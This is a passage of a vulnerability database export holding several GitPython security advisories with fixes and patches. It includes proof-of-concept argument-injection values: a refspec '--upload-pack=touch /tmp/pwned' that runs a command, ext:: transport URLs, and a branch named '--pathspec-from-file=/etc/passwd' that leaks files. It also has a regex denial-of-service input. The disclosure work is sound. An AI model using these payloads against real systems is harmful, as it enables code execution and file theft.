class of issue.\n\n### Verification level\nReproduced in a real environment: plain Linux, unmodified GitPython from current `main`, real git ≥ 1.7.5 behavior, an ordinary `git submodule add` + `clone` + `submodule_update(init=True, recursive=True)` workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).\n\n### AI Use Disclosure\nAI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.\n\nCredit: please use \"baeseungwon1010\" (github.com/baeseungwon1010).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fx3j-rwgx-fr94"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2255"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/9349ff58ee00c9fb14d515c8e693f33b2144b238"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-110856","published":"2026-10-29T21:30:32Z","modified":"2026-10-29T21:30:32Z","upstream":["GHSA-m64x-33q8-m5h7","CVE-2026-110856"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.33.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.2.1","key":"pkg:pypi/gitpython@3.2.1","resource":"gitpython"}]},"summary":"GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines","details":"### Summary\n\nThis is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.\n\n### Details\n\n`git/objects/util.py:322`:\n\n```python\n_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n```\n\n`.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\\d+) ([+-]\\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point.\n\nIt is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`.\n\nThe published payload (letters plus an unterminated `<`) is fast on 3.1.62. Replacing the letters with spaces is not:\n\n| author line (after `author `) | 2 KB | 8 KB | 32 KB |\n|---|---|---|---|\n| `'a'*n + ' <'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms |\n| `' '*n` | 28 ms | 453 ms | 7,700 ms |\n| valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms |\n\nCost grows about 16x for each 4x increase in length.\n\n### PoC\n\n```python\nimport time\nfrom git.objects.util import parse_actor_and_date\n\nline = \"author \" + \" \" * 32000\nt = time.perf_counter()\nparse_actor_and_date(line)\nprint(f\"{time.perf_counter() - t:.1f} s\")   # ~7 s on 3.1.62\n```\n\nEnd to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms.\n\nNote for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 (\"craft a commit object with a malformed author field\").\n\n### Impact\n\nCPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a repository can contain many such objects.\n\n### Suggested fix\n\nMatch the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears:\n\n```python\n_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n```\n\nVerification on current main (73a72c9):\n\n- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.\n- `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).\n- The existing test suite gives the same pass/fail set with and without the change\n- The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).\n\nThe full patch (fix plus regression test) is attached below.\n\n```diff\ndiff --git a/git/objects/util.py b/git/objects/util.py\nindex a68d701f..d8c0594d 100644\n--- a/git/objects/util.py\n+++ b/git/objects/util.py\n@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]:\n \n \n # Precompiled regexes\n-_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n-_re_only_actor = re.compile(r\"^.+? (.*)$\")\n+# The leading field name (\"author\", \"committer\", \"tagger\") is matched with ``.[^ ]*`` rather than\n+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the\n+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.\n+_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n+_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n \n \n def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]:\ndiff --git a/test/test_util.py b/test/test_util.py\nindex cf4299d5..e1631420 100644\n--- a/test/test_util.py\n+++ b/test/test_util.py\n@@ -22,6 +22,7 @@ from git.cmd import dashify\n from git.objects.util import (\n     altz_to_utctz_str,\n     from_timestamp,\n+    parse_actor_and_date,\n     parse_date,\n     tzoffset,\n     utctz_to_altz,\n@@ -571,6 +572,30 @@ class TestUtils(TestBase):\n             Actor(\"name last another\", \"some-very-long-email@example.com\"),\n         )\n \n+    def test_parse_actor_and_date_malformed_line_is_linear(self):\n+        # A long author line whose trailing epoch/offset is missing or malformed used to make\n+        # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.\n+        # The parse result must be unchanged; only the time spent reaching it should move.\n+        for tail in (\"\", \" notanumber -0700\", \" 1191999972\", \" -0700\", \" 1191999972 xx\"):\n+            line = \"author \" + \" \" * 32000 + tail\n+            start = time.perf_counter()\n+            actor, epoch, offset = parse_actor_and_date(line)\n+            self.assertLess(time.perf_counter() - start, 1.0)\n+            self.assertEqual(epoch, 0)\n+            self.assertEqual(offset, 0)\n+\n+        # Well-formed lines, including one with a long name, still parse exactly as before.\n+        actor, epoch, offset = parse_actor_and_date(\n+            \"author Tom Preston-Werner <tom@mojombo.com> 1191999972 -0700\"\n+        )\n+        self.assertEqual(actor, Actor(\"Tom Preston-Werner\", \"tom@mojombo.com\"))\n+        self.assertEqual(epoch, 1191999972)\n+        self.assertEqual(offset, 25200)\n+\n+        actor, epoch, offset = parse_actor_and_date(\"author \" + \"a \" * 16000 + \"<a@b> 1 -0700\")\n+        self.assertEqual(actor.email, \"a@b\")\n+        self.assertEqual(epoch, 1)\n+\n     @ddt.data(\n         (\"name\", \"\"),\n         (\"name\", \"prefix_\"),\n```\n\nFound with AI assistance (Claude) and verified by hand.\n\nBrian Willows","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2253"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-110857","published":"2026-10-29T21:30:32Z","modified":"2026-10-29T21:30:32Z","upstream":["GHSA-w8jc-g24h-crhw","CVE-2026-110857"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.33.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.2.1","key":"pkg:pypi/gitpython@3.2.1","resource":"gitpython"}]},"summary":"GitPython command wrappers omit unsafe protocol and option checks","details":"### Summary\n\nGitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `<transport>::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**:\n\n1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`.\n2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection.\n3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above.\n\nVerified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.\n\n### Impact\n\n**Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git >= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.\n\n**Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.\n\n### Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)\n\n| # | Call | Result |\n|---|---|---|\n| T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** |\n| T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** |\n| T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |\n| T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` |\n| T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) |\n\n### Coverage matrix (main @ a54d159)\n\n`check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`.\n`check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`.\n\n### Precedents (same repo, same guard family)\n\n- **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API.\n- **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows).\n- **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.\n- **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither.\n\n### Recommended fix (existing helpers, 1-3 lines per site)\n\n1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538).\n2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses.\n3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`.\n\nOne advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2251"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-110858","published":"2026-10-29T21:30:32Z","modified":"2026-10-29T21:30:32Z","upstream":["GHSA-f9j4-qggq-h239","CVE-2026-110858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.33.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.2.1","key":"pkg:pypi/gitpython@3.2.1","resource":"gitpython"}]},"summary":"GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution","details":"## Summary\n\n`Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=<command>`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`).\n\n## Root Cause\n\n`Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = [\"--upload-pack\"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch.\n\n```text\nAffected function: git.remote.Remote.pull\nSource: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull(\"--\", self, refspec, ...) invocation)\n```\n\n## Impact\n\nAn attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.\n\n## Proof of Concept\n\n```text\nEnvironment: GitPython from the affected source tree; system git 2.43.0.\nThe pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38).\n```\n\nReproduction steps:\n\n1. Create an origin repository reachable over a local-path transport.\n2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec.\n3. Observe that the injected command executes.\n\n```python\nimport git\nrepo = git.Repo(\"consumer\")                 # has an origin using a local-path or ssh transport\norigin = repo.remote(\"origin\")\n# Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):\norigin.pull(refspec=\"--upload-pack=touch /tmp/pwned; git-upload-pack\")\n```\n\n```text\ncmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack\n[attack]  marker created (RCE)      : True\n[isolate] upload_pack passed as KWARG blocked : True   (only the positional refspec escapes)\n[sibling] same value via git fetch  : safe            (pull-specific behavior)\n[control] benign refspec            : safe\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls `Remote.pull(refspec=<value>)` on the default path, where `<value>` is derived from attacker-influenced input such as a branch or refspec request parameter.\n2. **Control:** The attacker supplies the string `--upload-pack=<command>; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape.\n3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `<transport>::` form) and does not flag an `--upload-pack=` token.\n4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`.\n5. **Primitive:** The value is forwarded to `git pull -v -- <remote> --upload-pack=<command>; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program.\n6. **Result:** For a local-path or SSH transport, git executes `<command>` as the upload-pack program, giving arbitrary command execution as the calling process user.\n\n## Bypass Evidence\n\nThe relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard.\n\nThe `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- <remote> '--upload-pack=<cmd>'` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `<transport>::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: GitPython`\n- `Confirmed affected range: >= 3.1.30`\n- `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag`\n- `Fix status: not fixed in any released version or on the development branch`\n\nThe keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.\n\n## Suggested Fix\n\nEnforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.\n\nReported by zx (GitHub: @manus-pi).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2247"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-110859","published":"2026-10-29T21:30:32Z","modified":"2026-10-29T21:30:32Z","upstream":["GHSA-23mf-xhv8-69c2","CVE-2026-110859"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.33.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.2.1","key":"pkg:pypi/gitpython@3.2.1","resource":"gitpython"}]},"summary":"GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)","details":"> **A note on the referenced files.** This report was submitted through GitHub's private\n> vulnerability reporting API, which carries no attachments. Every transcript this report leans\n> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n> to send the bundle by any channel you prefer, or to open a private fork — just say which. The\n> PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `<= 3.1.62` — all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\n  `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n  the guard to this exact method — but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\n  bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n  positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\n  but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n> \"The audit also found that **reset's positional commit could carry the option before its argument\n> separator**. […] **Check reset's positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`<= 3.1.62`** — all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:\n    \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n    options = [\n        option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n    ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\n\n```python\n        if not allow_unsafe_options:\n            Git.check_unsafe_options(\n                options=Git._option_candidates([], kwargs),\n                unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n            )\n        kwargs[\"f\"] = force\n        if kwargs[\"f\"] is False:\n            kwargs.pop(\"f\")\n\n        self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\n    exit=0  stderr=''\n    => un refname que empieza con '-' y lleva '/' es VALIDO para git\n\n>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\n    exit=0  stderr=''\n>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n    exit=0\n    HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n    ref en disco como arbol jerarquico: True\n\n>>> Repo.clone_from('file://<bare>', <victim>)   # la app solo clona\n    ramas LOCALES creadas por el clone, sin que nadie las pida:\n      refs/heads/--pathspec-from-file=/etc/passwd\n    repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n    coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special 